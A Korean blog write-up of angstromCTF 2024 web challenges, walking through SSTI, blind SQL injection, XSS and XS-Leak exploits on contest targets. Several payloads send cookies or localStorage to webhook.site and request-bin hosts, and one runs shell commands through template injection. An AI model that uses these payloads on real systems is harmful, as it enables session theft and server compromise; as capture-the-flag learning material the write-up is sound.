Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

angstromCTF 2024

angstromCTF

대회 일정

2024-05-25 09:00 ~ 2024-05-28 09:00

대회 결과

웹은 총 8문제가 나왔고, 그 중 5문제를 풀었다. pastebin 문제는 접근 방법은 맞았는데 브포하다가 너무 오래걸려 대회 중에는 풀지 못했다. wwwwwwwwas 문제는 XS-Leak 문제였는데 대회 당시엔 접근 방법이 떠오르지 않아 해결하지 못했다.

최종 등수는 191등으로 마무리하였고, 재밌게 풀었던 것 같다.

크루 근무를 돌며 … CTF 하기란 시간 내기가 참 쉽지가 않은 듯 하다…

Writeup

spinner

613 solved / 50 pts

if (state.total >= 10_000 * 360) {
    state.flagged = true
    const response = await fetch('/falg', { method: 'POST' })
    element.textContent = await response.text()
}

회전 횟수가 10,000 이상인 경우, 플래그를 반환한다.

fetch() 함수를 사용하여 요청을 보내 플래그를 읽어오면 된다.

Exploit Code

Flag

actf{b152d497db04fcb1fdf6f3bb64522d5e}

markdown

282 solved / 80 pts

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
            ? process.env.FLAG
            : 'no flag for you'
    )
})

플래그를 획득하기 위해 봇으로부터 TOKEN 값을 탈취해야한다.

이를 통해, XSS 취약점을 활용해야함을 어느 정도 알 수 있다.

app.get('/view/:id', (_req, res) => {
    const marked = (
        'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'
    )

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
        </div>
        <script src="${marked}"></script>
        <script>
            const content = document.querySelector('.content')
            const id = document.location.pathname.split('/').pop()

            delete (async () => {
                const response = await fetch(\`/content/\${id}\`)
                const text = await response.text()
                content.innerHTML = marked.parse(text)
            })()
        </script>
    `)
}) 

마크다운 형식의 입력 값을 받아 결과를 보여주는 코드이다.

content.innerHTML = marked.parse(text) 코드로 인해 XSS가 발생하게 된다.

<img> 태그를 사용하여 XSS를 발생시키고 봇에게 해당 URL을 넘겨주면 된다.

Exploit Code

<img src="x" onerror="location.href=`https://webhook.site/ddaad04c-461c-48d4-9321-4204304c1e0e/?c=`+document.cookie">

Flag

actf{b534186fa8b28780b1fcd1e95e2a2e2c}

winds

259 solved / 100 pts

@app.post('/shout')
def shout():
    text = request.form.get('text', '')
    if not text:
        return redirect('/?error=No message provided...')

    random.seed(0)
    jumbled = list(text)
    random.shuffle(jumbled)
    jumbled = ''.join(jumbled)

    return render_template_string('''
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>The windy hills</h1>
            <form action="/shout" method="POST">
                <input type="text" name="text" placeholder="Hello!">
                <input type="submit" value="Shout your message...">
            </form>
            <div style="color: red;">{{ error }}</div>
            <div>
                Your voice echoes back: %s
            </div>
        </div>
    ''' % jumbled, error=request.args.get('error', ''))

render_template_string() 함수를 사용하고 있어 SSTI 취약점이 발생한다.

하지만, 유저가 입력한 값에 대해 random.shuffle()을 수행한 결과 값을 반영한다.

random.seed(0)으로 시드 값이 고정되어있어 랜덤 값에 대해 유추가 가능하다.

Exploit Code

import random
import requests

payload = "{{ ''.__class__.mro()[1].__subclasses__()[-1]('cat /app/flag.txt',shell=True,stdout=-1).communicate() }}"
chars = [chr(x) for x in range(25,128)] # string.ascii_letters + string.digits
chars = chars[:len(payload)]
print(payload, len(payload), len(chars))

arr = {}
for idx, c in enumerate(chars):
    arr[c] = idx

text = ''.join(chars)
jumbled = list(text)

random.seed(0)
random.shuffle(jumbled)

jumbled = ''.join(jumbled)
print(jumbled)

s = [0 for _ in range(len(chars))]
i = 0 
for c in jumbled:
    s[arr[c]] = payload[i]
    i = i + 1

payload = ''.join(s)
print("exploit_code:", payload)

url = "https://winds.web.actf.co/shout"
r = requests.post(url, data={"text": payload})
print(r.text)

Flag

actf{2cb542c944f737b85c6bb9183b7f2ea8}

store

214 solved / 100 pts

Otamatone 문자를 입력하니 추가 정보가 나오는 것을 확인했다.

<script>
    const form = document.querySelector('form')
    form.addEventListener('submit', (event) => {
    const item = form.querySelector('input[name="item"]').value
    const allowed = new Set(
                    'abcdefghijklmnop' +
                    'qrstuvwxyzABCDEF' +
                    'GHIJKLMNOPQRSTUV' +
                    'WXYZ0123456789, '
                )
    if (item.split('').some((char) => !allowed.has(char))) {
        alert('Invalid characters in search query.')
        event.preventDefault()
        }
    })
</script>            

index.html 페이지에 유저 입력에 대해 문자 필터링을 걸어놓았기에 직접 requests 요청을 보내 결과를 확인했다.
SQL Injection 취약점인 것 같아 ' or 1=1-- 입력을 시도해보니 다른 계정 정보들도 나오는 것을 확인할 수 있었다.

플래그 테이블은 따로 있을 것 같아 information_schema를 사용해 Blind SQL Injection을 시도했지만 오류가 떴다.
그래서, MySQL이 아닌 다른 데이터베이스를 사용하는 것 같아 시도해보던 중 SQLite 버전 확인하는 쿼리가 먹히는 것을 확인했다.

이후, Blind SQL Injection 쿼리를 작성하여 플래그를 획득했다.

Exploit Code

import requests

url = "https://store.web.actf.co"

result = ""
length_of_table = 43
for i in range(1,60):
    print(i)

    sql = f"' or length((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'))={i}--"
    print(sql)

    r = requests.post(
            f"{url}/search", 
            data={
                "item": f"{sql}"
            }
    )
    assert r.status_code == 200

    if "<td>Otamatone</td>" in r.text:
        length_of_table = i 
        print(r.text)
        break
       
print("Length of table: ", length_of_table)

table_name = "items,flagsd69197c9018f1d6e853981d5a805846f"
table_name = "flagsd69197c9018f1d6e853981d5a805846f"  
# table_name = "items,"

for i in range(len(table_name) + 1, length_of_table + 1): 
    print(i)
    check = False
    for j in range(48, 58): 
        sql = f"' or substr((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),{i},1)=char({j})--"
        # sql = f"' or (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name like 'items') --"
        print(sql)
        r = requests.post(
                f"{url}/search", 
                data={
                    "item": f"{sql}"
                }
        )
        assert r.status_code == 200

        if "<td>Otamatone</td>" in r.text:
            table_name += chr(j)
            print(table_name) 
            check = True
            break
    
    if check : continue 

    for j in range(97, 128): 
        sql = f"' or substr((SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),{i},1)=char({j})--"
        # sql = f"' or (SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name like 'items') --"
        print(sql)
        r = requests.post(
                f"{url}/search", 
                data={
                    "item": f"{sql}"
                }
        )
        assert r.status_code == 200

        if "<td>Otamatone</td>" in r.text:
            table_name += chr(j)
            print(table_name) 
            break

print("Table name: ", table_name)
column_name = "flag" #"id,name,detail" # items
for i in range(len(column_name) + 1, 50): 
    print(i)
    check = False
    for j in range(32, 128): 
        sql = f"' or substr((SELECT group_concat(name) AS column_names FROM pragma_table_info('{table_name}')),{i},1)=char({j})--"
        print(sql)
        r = requests.post(
            f"{url}/search", 
            data={
                "item": f"{sql}"
            }
        )
        assert r.status_code == 200

        if "<td>Otamatone</td>" in r.text:
            check = True 
            column_name += chr(j)
            print(column_name) 
            break

    if check == False:
        break 

flag = "actf{"
for i in range(len(flag) + 1, 50): 
    print(i)
    check = False
    for j in "{}0123456789abcdefghijklmnopqrstuvwxyz": 
        sql = f"' or substr((SELECT {column_name} FROM {table_name}),{i},1)='{j}'--"
        print(sql)
        r = requests.post(
            f"{url}/search", 
            data={
                "item": f"{sql}"
            }
        )
        assert r.status_code == 200

        if "<td>Otamatone</td>" in r.text:
            check = True 
            flag += (j)
            print(flag) 
            break

    if check == False: 
        break 

print(flag)

대회 도중에 flag 테이블 명이 바뀌는 걸 확인하고, 특정 시간마다 바뀌는구나 싶어서 급하게 짠 지저분한 코드 …

Flag

actf{37619bbd0b81c257b70013fa1572f4ed}

pastebin

121 solved / 120 pts

import hashlib
import html
import os
import secrets

from server import Server

ADMIN_PASSWORD = hashlib.md5(
    f'password-{secrets.token_hex}'.encode()
).hexdigest()

pastes = {}

def add_paste(paste_id, content, admin_only=False):
    pastes[paste_id] = {
        'content': content,
        'admin_only': admin_only,
    }

server = Server()

@server.get('/')
async def root(request):
    del request
    return (200, '''
        <link rel="stylesheet" href="/style.css">
        <div class="container">
            <h1>Pastebin</h1>
            <form action="/paste" method="post">
                <textarea
                    name="content"
                    rows="10"
                    placeholder="Content..."
                ></textarea>
                <input type="submit" value="Create Paste">
            </form>
        </div>
    ''')

@server.post('/paste')
async def paste(request):
    data = await request.post()
    content = data.get('content', '')
    paste_id = id(content)

    add_paste(paste_id, content)

    return (200, f'''
        <link rel="stylesheet" href="/style.css">
        <div class="container">
            <h1>Paste Created</h1>
            <p><a href="/view?id={paste_id}">View Paste</a></p>
        </div>
    ''')

@server.get('/view')
async def view_paste(request):
    id = request.query.get('id')
    paste = pastes.get(int(id))

    if paste is None:
        return (404, 'Paste not found')

    if paste['admin_only']:
        password = request.query.get('password', '')
        if password != ADMIN_PASSWORD:
            return (
                403,
                f'Incorrect parameter &password={ADMIN_PASSWORD[:6]}...',
            )

    return (200, f'''
        <link rel="stylesheet" href="/style.css">
        <div class="container">
            <h1>Paste</h1>
            <pre>{html.escape(paste['content'])}</pre>
        </div>
    ''')

add_paste(0, os.getenv('FLAG', 'missing flag'), admin_only=True)
server.run('0.0.0.0', 3000)

hashlib.md5(f'password-{secrets.token_hex}'.encode()).hexdigest()ADMIN_PASSWORD를 생성하는데 이 값을 알아내면 플래그를 획득할 수 있다.

>>> import secrets
>>> secrets.token_hex
<function token_hex at 0x7f02814116c0>

로컬에서 secrets.token_hex 값을 출력해보면, 주소 값이 나오는 것을 확인할 수 있다.
하지만, 실제 서버에서 생성한 secrets.token_hex 값은 알 수 없기에 이를 찾아야한다.

글을 작성하면, /paste 엔드포인트에서 paste_id = id(content) 코드를 실행시켜 id 값을 지정한다.

Return the “identity’’ of an object. This is an integer (or long integer) which is guaranteed to be unique and constant for this object during its lifetime. Two objects with non-overlapping lifetimes may have the same id() value. (CPython implementation detail: This is the address of the object in memory.)

id() 함수에 대해 공식 문서를 찾아보면, 객체의 주소 값을 반환한다는 것을 알 수 있다.
/view 엔드포인트에서 id 값으로 0을 넘겨주면 paste['admin_only']를 만족하여 패스워드 6자리를 알아낼 수 있다.

즉, 글을 작성하여 얻은 paste_id 값을 빼가며 ADMIN_PASSWORD 패스워드 앞 6자리와 비교하며 매칭되는 ADMIN_PASSWORD를 찾아낼 수 있다.

password-<function token_hex at 0x7b53722bd436> 1797c2a5536b66caeb1e43b67caa84b6
password-<function token_hex at 0x7b5375bcc449> 1797c23c64743f92b60006b65ac76041
password-<function token_hex at 0x7b53781e8d22> 1797c26ee6c3786188292cc0b096a893
password-<function token_hex at 0x7b53789a9714> 1797c28c6de75aa270ebeca5d23c13ba
password-<function token_hex at 0x7b536f0a7e41> 1797c20bafbf9ef804afa75696d21b81

위 방법대로 시도했는데 위와 같이 여러 해시 값이 나왔지만, ADMIN_PASSWORD에 맞지 않은 값들만 나오고 돌리던 코드가 종료되는 억까를 당해 대회 당시에는 풀지 못했다…

대회가 끝나고 한참 지나고나서야 풀렸다 :(

추가적으로, 다른 분이 올려준 코드를 보니 secret.token_hex 값의 마지막 자리 수가 0으로 나오기 때문에 16씩 값을 증가하면 훨씬 더 빠르게 값을 찾을 수 있다는 것이었다…

Exploit Code

import hashlib
import requests 

url = "https://pastebin.web.actf.co"

for x in range(135598340834432, 0, -1):
    s = 'password-<function token_hex at 0x{:x}>'.format(x)
    hash = hashlib.md5(s.encode()).hexdigest()
    print(s, hash)

    if hash[:6] == '1797c2':
        print(s, hash)
        r = requests.get(
            f"{url}/view?id=0&password={hash}"
        )
        if not "Incorrect" in r.text:
            print(r.text)
            exit(0)

Flag

actf{47fd1d17b0c1121da0fc9d2d0c4fc109}

tickler

51 solved / 180 pts

const router = trpc.router({
    ...
    doTickle: authedProcedure
        .input(z.object({ username: z.string() }))
        .mutation(({ input: { username }, ctx }) => {
            if (!users.has(username)) {
                return {
                    success: false as const,
                    message: 'User does not exist.',
                }
            }

            if (username === ctx.user) {
                return {
                    success: false as const,
                    message: 'Nice try.',
                }
            }

            const count = tickles.get(username) ?? 0
            tickles.set(username, count + 1)

            return { success: true as const }
        }),

    getTickles: publicProcedure
        .input(z.object({ username: z.string() }))
        .query(({ input: { username } }) => {
            if (!users.has(username)) {
                return {
                    success: false as const,
                    message: 'User does not exist.',
                }
            }
            return {
                success: true as const,
                count: tickles.get(username) ?? 0,
            }
        }),

    getFlag: authedProcedure.query(({ ctx }) => {
        if (tickles.get(ctx.user) !== Infinity) {
            return { success: false as const, message: 'Not enough tickles.' }
        }
        return { success: true as const, flag: process.env.FLAG }
    }),
    ...
})

tickles.get(ctx.user) 값이 Infinity인 계정으로 접속하면 플래그를 획득할 수 있다.
/api/doTickle 엔드포인트에 접근하면 값을 1씩 증가시킬 수 있긴한데 Infinity 값을 만들기엔 불가능하다.

const server = http.createServer(async (req, res) => {
    ...
    if (route === '/admin') {
        if (process.env.ADMIN === undefined) return end()

        const body: Buffer[] = []
        req.on('data', (chunk) => body.push(chunk))
        await new Promise((resolve) => req.on('end', resolve))

        const data = Buffer.concat(body).toString()
        if (data !== process.env.ADMIN) return end()

        const username = crypto.randomBytes(16).toString('hex')
        const password = crypto.randomBytes(16).toString('hex')

        users.set(username, password)
        tickles.set(username, Infinity)

        res.setHeader('content-type', 'application/json')
        return res.end(JSON.stringify({ username, password }))
    } 
    ...
})           

그래서, /admin 엔드포인트를 보면 무한대 값이 설정된 계정을 생성하는 것을 볼 수 있다.
즉, 랜덤으로 생성된 username의 계정의 정보를 알아내서 플래그를 획득하면 된다.

"/login": async () => {
      const form = document.querySelector("form");
      const error = document.querySelector("p");
      const query = new URLSearchParams(window.location.search);
      if (query.has("error")) {
        error.innerHTML = query.get("error") ?? "";
      }
      form.addEventListener("submit", async (event) => {
        event.preventDefault();
        const username = form.elements.namedItem("n");
        const password = form.elements.namedItem("p");
        const result = await client.doLogin.mutate({
          username: username.value,
          password: password.value
        });
        if (!result.success) {
          error.textContent = `Login failed. ${result.message}`;
        } else {
          localStorage.setItem("username", username.value);
          localStorage.setItem("password", password.value);
          window.location.href = "/";
        }
    });
}

/build/client.js/login 부분을 보면, 파라미터에 error가 포함된지 확인하는 조건문이 있다.
?error=가 존재할 경우, error.innerHTML에 파라미터 값이 들어가게 되어 스크립트 삽입이 가능해진다.

const router = trpc.router({
    ...
    setPicture: authedProcedure
        .input(z.object({ url: z.string() }))
        .mutation(async ({ input: { url }, ctx }) => {
            let response
            try {
                response = await fetch(url)
            } catch {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            if (!response.ok) {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            const reader = response.body?.getReader()
            if (reader === undefined) {
                return {
                    success: false as const,
                    message: 'No image data.',
                }
            }

            let size = 0
            const data = []
            while (true) {
                const { done, value } = await reader.read()
                if (done) break
                size += value.byteLength
                if (size > 1e6) {
                    return {
                        success: false as const,
                        message: 'Image too large.',
                    }
                }
                data.push(value)
            }

            const buffer = new Blob(data)
            const array = await buffer.arrayBuffer()
            const base64 = Buffer.from(array).toString('base64')
            pictures.set(ctx.user, {
                data: base64,
                type: response.headers.get('content-type') ?? 'image/png',
            })

            return { success: true as const }
        }),
    ...
})

각 유저마다 프로필을 업데이트 할 수 있는 기능이 존재했다. await fetch(url)를 통해 Responsecontent-typepicturestype으로 들어가고, 데이터 값은 base64 형태로 저장한다.

const server = http.createServer(async (req, res) => {
    res.setHeader('content-security-policy', 'script-src \'self\'')

    const url = req.url ?? ''
    let route = url
    if (route.includes('?')) {
        route = route.slice(0, route.indexOf('?'))
    }
    route = path.normalize(`/${route ?? ''}`)

    const end = () => {
        res.writeHead(404)
        res.end()
    }

    if (route === '/admin') {
        ...
    } else if (route === '/picture') {
        if (!url.includes('?')) return end()

        const query = new URLSearchParams(url.slice(url.indexOf('?')))
        const username = query.get('username')

        if (username === null) return end()

        const picture = pictures.get(username)
        if (picture === undefined) return end()

        const { data, type } = picture
        res.end(`data:${type};base64,${data}`)
    } else if (route.startsWith('/api/')) {
        await nodeHTTPRequestHandler({
            router,
            req,
            res,
            path: route.slice('/api/'.length),
            createContext: ({ req }) => {
                const header = req.headers.login
                const clean = Array.isArray(header) ? header[0] : header ?? ''
                const [user, password] = clean.split(':') ?? []
                return { user, password }
            },
        })
    } else {
        if (route === '/') route = '/index.html'
        else if (!route.includes('.')) route += '.html'
        send(res, path.join(import.meta.dirname, 'public', route))
    }
})

server.listen(3000, () => {
    console.log('running on :3000')
})

export type Router = typeof router

/picture 엔드포인트에서는 계정에 따라 프로필을 data:${type};base64,${data}" 형태로 보여준다.

MIME TYPE이 위치해야할 자리에 JS 코드를 넣고, 이전에 언급한 error.innerHTML<iframe srcdoc="<script src='profile path'></script>"></iframe> 스크립트를 삽입하면 XSS를 트리거 할 수 있게 된다.

그 이유는 CSP 정책이 Content-Security-Policy: script-src 'self'로 설정되어있어 JSONP, 유저가 업로드한 파일 등을 활용하면 스크립트를 실행시킬 수 있기 떄문이다.

Exploit Code

<?php
    header('content-type: window.location="https://tjchkab.request.dreamhack.games/?d="+btoa(JSON.stringify(window.localStorage))//');
    echo "test";
?>

프로필을 업데이트할 때, 위 코드가 실행되고 있는 서버로 fetch()하여 이미지를 업데이트 해준다.

프로필 업데이트를 누르면, 이미지가 바뀐 것을 확인할 수 있다.

data:window.location="https://tjchkab.request.dreamhack.games/?d="+btoa(JSON.stringify(window.localStorage))//;base64,dGVzdA==

https://tickler.web.actf.co/picture?username=guest12345 페이지에 방문하면, 위 내용이 존재하고, <script>src에서 해당 링크를 불러오면 스크립트가 실행된다.

https://tickler.web.actf.co/login?error=<iframe srcdoc="<script src='https://tickler.web.actf.co/picture?username=guest12345'></script>"</iframe>

최종적으로, 위 스크립트를 봇에게 전달하면, webhook을 통해 usernamepassword 값을 받을 수 있다.

import requests

url = "https://tickler.web.actf.co"

s = requests.session()

r = s.get(
    f"{url}/api/getFlag",
    headers={"Login": "95d8f04e645b6e949cae2447fb9d49e6:004261d7a4025246b994fb909fc2efdc"}
)
print(r.text)

Flag

actf{c4d8f38d1195fda4b7e025f40e16942e}

wwwwwwwwas

19 solved / 250 pts

const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const express = require('express');
const crypto = require('crypto');
const fs = require('fs');

let flags = ["flag{example_flag}", "aplet123ctf{the_hallmark_of_a_great_misc_challenge}"];
fs.readFile('flag.txt', 'utf8', function(err, data) {  
	if (err) throw err;
	flags.push(data);
});

const secretvalue = process.env.SECRET_KEY || crypto.randomBytes(32).toString('hex')

const app = express();

app.use(express.static('static'));
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended:false}));

app.use((req, res, next) => {
	res.set('X-Frame-Options', 'deny');
	res.set('X-Content-Type-Options', 'nosniff');
	res.set('Cache-Control', 'no-store');
	next()
})

app.get('/', (req, res) => {
	res.sendFile('static/index.html',{root:__dirname});
})

app.get('/search', (req, res) => {
	if (req.cookies['admin_cookie'] !== secretvalue) {
		res.status(403).send("Unauthorized");
		return;
	}
	try {
		let query = req.query.q;
		for (let flag of flags) {
			if (flag.indexOf(query) !== -1) {
				res.status(200).send("Found");
				return;
			}
		}
		res.status(404).send("Not Found");
	} catch (e) {
		console.log(e);
		res.sendStatus(500);
	}
})

app.listen(21111,()=>console.log('running'));

admin_cookie 쿠키 값을 가지고 있으면, indexOf() 함수를 통해 플래그를 알아낼 수 있다.

const puppeteer = require("puppeteer");

const sleep = s => new Promise(res => setTimeout(res, s * 1000));

module.exports = {
    name: 'wwwwwwwwaas',
    timeout: 45000,
    noContext: true,
    async execute(_, url) {
        const key = process.env.CHALL_WWWWWWWWAAS_KEY || "placeholder";
        const domain = process.env.CHALL_WWWWWWWWAAS_DOMAIN || "http://localhost:3000";
        const browser = await puppeteer.launch({ pipe: true });
        try {
            let page = await browser.newPage();
            const cookie = {
                domain: domain,
                name: "admin_cookie",
                value: key,
                httpOnly: true,
                secure: true,
                sameSite: 'Lax'
            };
            await page.setCookie(cookie);
            await page.goto(url);
            await sleep(30);
        } finally {
            await browser.close();
        }
    },
};

XSS로 admin_cookie 쿠키 값을 얻어야하나 싶었지만, httpOnly, secure, sameSite가 모두 걸려있었다.
즉, 쿠키를 탈취하지 않고 봇이 플래그를 찾도록 만들어줘야한다.

쿠키에 설정된 sameSite: 'Lax'는 동일한 사이트에 한에 쿠키를 공유한다.
XSS 취약점이 발생하는 동일한 사이트를 이용해 스크립트를 실행시켜주면 된다.

Markdown: https://markdown.web.actf.co/
wwwwwwwwaas: https://wwwwwwwwaas.web.actf.co/

두 개의 URL은 Origin이 다르지만, Site는 https://web.actf.co로 동일하다.

Markdown 문제에서 XSS 취약점이 발생하는 것을 활용해 XS-Leak을 수행할 수 있다.

Exploit Code

import requests
import base64

payload = """
const url = "https://wwwwwwwwaas.web.actf.co"; 
const webhook = "https://webhook.site/8cda91cf-9e4b-4ed8-8655-11770f30a4ec"; 

function log(query) { 
    navigator.sendBeacon(webhook + '/log?flag=' + query);
}

function search(query) {
    let script = document.createElement("script"); 
    script.src = url + '/search?q=' + encodeURIComponent(query); 
    script.onload = () => { 
        log(query); 
        check(query); 
    }; 
    document.head.appendChild(script);
}

const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}";
function check(flag) { 
    for(let i = 0 ; i < chars.length ; i++) { 
        let c = chars[i]; 
        search(flag + c); 
    }
}
check("actf{");
"""

payload = base64.b64encode(payload.encode()).decode() 

r = requests.post(
    "https://markdown.web.actf.co/create", 
    data={"content": f'<img src="x" onerror="eval(atob(`{payload}`))">'},
    allow_redirects=True
)

print(r.url)

출력된 URL을 봇이 방문하게 하면, 플래그를 획득할 수 있다.

Flag

actf{the_w_watermarks_the_whereabouts}